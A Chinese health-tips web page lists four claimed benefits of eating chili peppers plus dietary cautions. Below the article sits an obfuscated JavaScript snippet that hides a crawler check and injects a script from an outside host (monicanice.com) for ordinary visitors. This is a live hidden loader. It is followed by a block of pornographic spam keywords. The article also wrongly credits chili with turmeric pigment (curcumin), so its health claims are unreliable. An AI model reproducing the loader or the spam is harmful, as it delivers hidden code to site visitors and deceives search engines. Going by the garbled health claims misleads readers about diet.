當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

吃辣椒好嗎?吃辣椒的4大好處

2016-02-27 21:29:23  來源:360常識網(wǎng)   熱度:
導(dǎo)語:辣椒,是我們餐桌上很常見的食物之一,也有很多人喜歡吃辣椒。其實,辣椒不僅味道受歡迎,還有很多是你不知道的功效與作用哦。今天,就來一起了解就來吃辣椒的4大好處和注意事項吧。

吃辣椒好嗎?吃辣椒的4大好處

吃辣椒好嗎?吃辣椒的4大好處

吃辣椒的4大好處

吃辣椒身材更苗條。《英國營養(yǎng)學雜志》的一項研究發(fā)現(xiàn),吃飯時加兩勺干辣椒粉的女性,比那些不吃辣椒的女性,吸收的熱量和脂肪量都要少得多。如果你不能吃辣的,可以試著從早餐開始吃一點點辣椒醬。

吃辣椒能強健肌肉。美國南卡羅來納大學的研究者們認為,辣椒中的姜黃色素能幫助肌肉在大量運動后恢復(fù)正常。因此,在進行大量運動前可以吃些辣椒。如果你不習慣吃辣,可以試著把辣椒摻在面包里。

屏蔽此推廣內(nèi)容吃辣椒讓思維敏捷。美國加州大學的一項研究發(fā)現(xiàn),辣椒中的姜黃色素還能幫助大腦進行“大掃除”,從而有效防止老年癡呆的發(fā)生。為了身體健康,做飯時在米飯或豆制品上灑點辣椒粉或咖喱粉吧。

吃辣椒使人心情愉快。美國紐約大學的科學家們認為,辣椒素能激發(fā)人口腔內(nèi)的“疼痛感受器”,繼而向大腦發(fā)出一種信號,使大腦分泌出一種讓人感覺良好的化學物質(zhì)。這種物質(zhì)不僅能緩和辣味帶給人的刺激,而且能有效改善人的情緒,使人心情愉悅。如果你想讓自己心情好一些,不妨試著在沙拉或湯里加點辣椒吧,看看能不能收到意外的效果。

吃辣椒的注意事項

過多的辣椒素會劇烈刺激胃腸粘膜,使其高度充血、蠕動加快,引起胃疼、腹痛、腹瀉并使肛門燒灼刺疼,誘發(fā)胃腸疾病,促使痔瘡出血。

患食管炎、胃腸炎、胃潰瘍以及痔瘡等病者,均應(yīng)少吃或忌食辣椒。

辣椒的性味是大辛大熱,所以火眼、牙疼、喉痛、咯血、瘡癤等火熱病癥,或陰虛火旺的高血壓病、肺結(jié)核病,也應(yīng)慎食。

辣椒雖然好處多,也不宜多吃哦。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品国产免费观看| 国产精品亚洲美女久久久 | 国产精品专区第二| 国精品产露脸自拍| 精品国产乱码久久久久久鸭王1| 国产三级久久久精品麻豆三级| 思思久久96热在精品国产| 久久91精品国产一区二区| 九色国产在视频线精品视频| 99精品热这里只有精品| 久久精品国产99久久| 精品不卡一区中文字幕| 国产精品jizz在线观看直播 | 99久热re在线精品996热视频| 精品精品国产高清a毛片| 国产午夜精品一区二区三区极品 | 亚洲精品无码久久久久APP| 日本aⅴ精品中文字幕| 国产69精品久久久久久人妻精品| 国产成人精品视频网站| 国产 精品 自在 线| 久久久精品人妻一区二区三区蜜桃 | 亚洲色精品88色婷婷七月丁香| 国产精品美女久久久浪潮av| 国产精品一二二区| 亚洲精品天天影视综合网| 99久久国产综合精品女同图片| 牛牛在线精品免费视频观看| 亚洲Av永久无码精品一区二区| 精品调教CHINESEGAY| 麻豆精品久久久一区二区| 久夜色精品国产一区二区三区| 国产在线麻豆精品| 国产精品社区在线观看| 国产精品第20页| 亚洲国产欧美日韩精品一区二区三区| 91国内揄拍·国内精品对白| 久久精品国产2020观看福利| 亚洲精品自在在线观看| 国产精品自在线拍国产第一页 | 囯产精品一品二区三区|